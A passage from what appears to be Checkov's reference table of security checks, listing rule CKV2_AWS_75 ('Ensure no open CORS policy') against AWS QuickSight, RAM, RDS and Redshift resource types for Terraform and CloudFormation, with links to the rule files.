[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4511 | CKV2_AWS_75 | resource | aws_qldb_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4512 | CKV2_AWS_75 | resource | aws_qldb_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4513 | CKV2_AWS_75 | resource | aws_quicksight_account_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4514 | CKV2_AWS_75 | resource | aws_quicksight_account_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4515 | CKV2_AWS_75 | resource | aws_quicksight_analysis | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4516 | CKV2_AWS_75 | resource | aws_quicksight_analysis | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4517 | CKV2_AWS_75 | resource | aws_quicksight_dashboard | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4518 | CKV2_AWS_75 | resource | aws_quicksight_dashboard | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4519 | CKV2_AWS_75 | resource | aws_quicksight_data_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4520 | CKV2_AWS_75 | resource | aws_quicksight_data_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4521 | CKV2_AWS_75 | resource | aws_quicksight_data_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4522 | CKV2_AWS_75 | resource | aws_quicksight_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4523 | CKV2_AWS_75 | resource | aws_quicksight_folder | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4524 | CKV2_AWS_75 | resource | aws_quicksight_folder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4525 | CKV2_AWS_75 | resource | aws_quicksight_folder_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4526 | CKV2_AWS_75 | resource | aws_quicksight_folder_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4527 | CKV2_AWS_75 | resource | aws_quicksight_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4528 | CKV2_AWS_75 | resource | aws_quicksight_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4529 | CKV2_AWS_75 | resource | aws_quicksight_group_membership | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4530 | CKV2_AWS_75 | resource | aws_quicksight_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4531 | CKV2_AWS_75 | resource | aws_quicksight_iam_policy_assignment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4532 | CKV2_AWS_75 | resource | aws_quicksight_iam_policy_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4533 | CKV2_AWS_75 | resource | aws_quicksight_ingestion | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4534 | CKV2_AWS_75 | resource | aws_quicksight_ingestion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4535 | CKV2_AWS_75 | resource | aws_quicksight_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4536 | CKV2_AWS_75 | resource | aws_quicksight_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4537 | CKV2_AWS_75 | resource | aws_quicksight_refresh_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4538 | CKV2_AWS_75 | resource | aws_quicksight_refresh_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4539 | CKV2_AWS_75 | resource | aws_quicksight_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4540 | CKV2_AWS_75 | resource | aws_quicksight_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4541 | CKV2_AWS_75 | resource | aws_quicksight_template_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4542 | CKV2_AWS_75 | resource | aws_quicksight_template_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4543 | CKV2_AWS_75 | resource | aws_quicksight_theme | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4544 | CKV2_AWS_75 | resource | aws_quicksight_theme | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4545 | CKV2_AWS_75 | resource | aws_quicksight_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4546 | CKV2_AWS_75 | resource | aws_quicksight_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4547 | CKV2_AWS_75 | resource | aws_quicksight_vpc_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4548 | CKV2_AWS_75 | resource | aws_quicksight_vpc_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4549 | CKV2_AWS_75 | resource | aws_ram_principal_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4550 | CKV2_AWS_75 | resource | aws_ram_principal_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4551 | CKV2_AWS_75 | resource | aws_ram_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4552 | CKV2_AWS_75 | resource | aws_ram_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4553 | CKV2_AWS_75 | resource | aws_ram_resource_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4554 | CKV2_AWS_75 | resource | aws_ram_resource_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4555 | CKV2_AWS_75 | resource | aws_ram_resource_share_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4556 | CKV2_AWS_75 | resource | aws_ram_resource_share_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4557 | CKV2_AWS_75 | resource | aws_ram_sharing_with_organization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4558 | CKV2_AWS_75 | resource | aws_ram_sharing_with_organization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4559 | CKV2_AWS_75 | resource | aws_rbin_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4560 | CKV2_AWS_75 | resource | aws_rbin_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4561 | CKV2_AWS_75 | resource | aws_rds_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4562 | CKV2_AWS_75 | resource | aws_rds_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4563 | CKV2_AWS_75 | resource | aws_rds_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4564 | CKV2_AWS_75 | resource | aws_rds_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4565 | CKV2_AWS_75 | resource | aws_rds_cluster_activity_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4566 | CKV2_AWS_75 | resource | aws_rds_cluster_activity_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4567 | CKV2_AWS_75 | resource | aws_rds_cluster_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4568 | CKV2_AWS_75 | resource | aws_rds_cluster_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4569 | CKV2_AWS_75 | resource | aws_rds_cluster_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4570 | CKV2_AWS_75 | resource | aws_rds_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4571 | CKV2_AWS_75 | resource | aws_rds_cluster_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4572 | CKV2_AWS_75 | resource | aws_rds_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4573 | CKV2_AWS_75 | resource | aws_rds_cluster_role_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4574 | CKV2_AWS_75 | resource | aws_rds_cluster_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4575 | CKV2_AWS_75 | resource | aws_rds_cluster_snapshot_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4576 | CKV2_AWS_75 | resource | aws_rds_cluster_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4577 | CKV2_AWS_75 | resource | aws_rds_custom_db_engine_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4578 | CKV2_AWS_75 | resource | aws_rds_custom_db_engine_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4579 | CKV2_AWS_75 | resource | aws_rds_export_task | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4580 | CKV2_AWS_75 | resource | aws_rds_export_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4581 | CKV2_AWS_75 | resource | aws_rds_global_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4582 | CKV2_AWS_75 | resource | aws_rds_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4583 | CKV2_AWS_75 | resource | aws_rds_instance_state | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4584 | CKV2_AWS_75 | resource | aws_rds_instance_state | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4585 | CKV2_AWS_75 | resource | aws_rds_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4586 | CKV2_AWS_75 | resource | aws_rds_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4587 | CKV2_AWS_75 | resource | aws_rds_reserved_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4588 | CKV2_AWS_75 | resource | aws_rds_reserved_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4589 | CKV2_AWS_75 | resource | aws_redshift_authentication_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4590 | CKV2_AWS_75 | resource | aws_redshift_authentication_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4591 | CKV2_AWS_75 | resource | aws_redshift_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4592 | CKV2_AWS_75 | resource | aws_redshift_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4593 | CKV2_AWS_75 | resource | aws_redshift_cluster_iam_roles | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4594 | CKV2_AWS_75 | resource | aws_redshift_cluster_iam_roles | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4595 | CKV2_AWS_75 | resource | aws_redshift_cluster_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4596 | CKV2_AWS_75 | resource | aws_redshift_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4597 | CKV2_AWS_75 | resource | aws_redshift_data_share_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4598 | CKV2_AWS_75 | resource | aws_redshift_data_share_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4599 | CKV2_AWS_75 | resource | aws_redshift_data_share_consumer_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4600 | CKV2_AWS_75 | resource | aws_redshift_data_share_consumer_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4601 | CKV2_AWS_75 | resource | aws_redshift_endpoint_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4602 | CKV2_AWS_75 | resource | aws_redshift_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4603 | CKV2_AWS_75 | resource | aws_redshift_endpoint_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4604 | CKV2_AWS_75 | resource | aws_redshift_endpoint_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4605 | CKV2_AWS_75 | resource | aws_redshift_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4606 | CKV2_AWS_75 | resource | aws_redshift_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4607 | CKV2_AWS_75 | resource | aws_redshift_hsm_client_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4608 | CKV2_AWS_75 | resource | aws_redshift_hsm_client_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4609 | CKV2_AWS_75 | resource | aws_redshift_hsm_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4610 | CKV2_AWS_75 | resource | aws_redshift_hsm_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4611 | CKV2_AWS_75 | resource | aws_redshift_logging | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4612 | CKV2_AWS_75 | resource | aws_redshift_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4613 | CKV2_AWS_75 | resource | aws_redshift_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4614 | CKV2_AWS_75 | resource | aws_redshift_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4615 | CKV2_AWS_75 | resource | aws_redshift_partner | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4616 | CKV2_AWS_75 | resource | aws_redshift_partner | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4617 | CKV2_AWS_75 | resource | aws_redshift_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4618 | CKV2_AWS_75 | resource | aws_redshift_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4619 | CKV2_AWS_75 | resource | aws_redshift_scheduled_action | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4620 | CKV2_AWS_75 | resource | aws_redshift_scheduled_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4621 | CKV2_AWS_75 | resource | aws_redshift_security_group | Ensure no open CORS policy | Terraform | 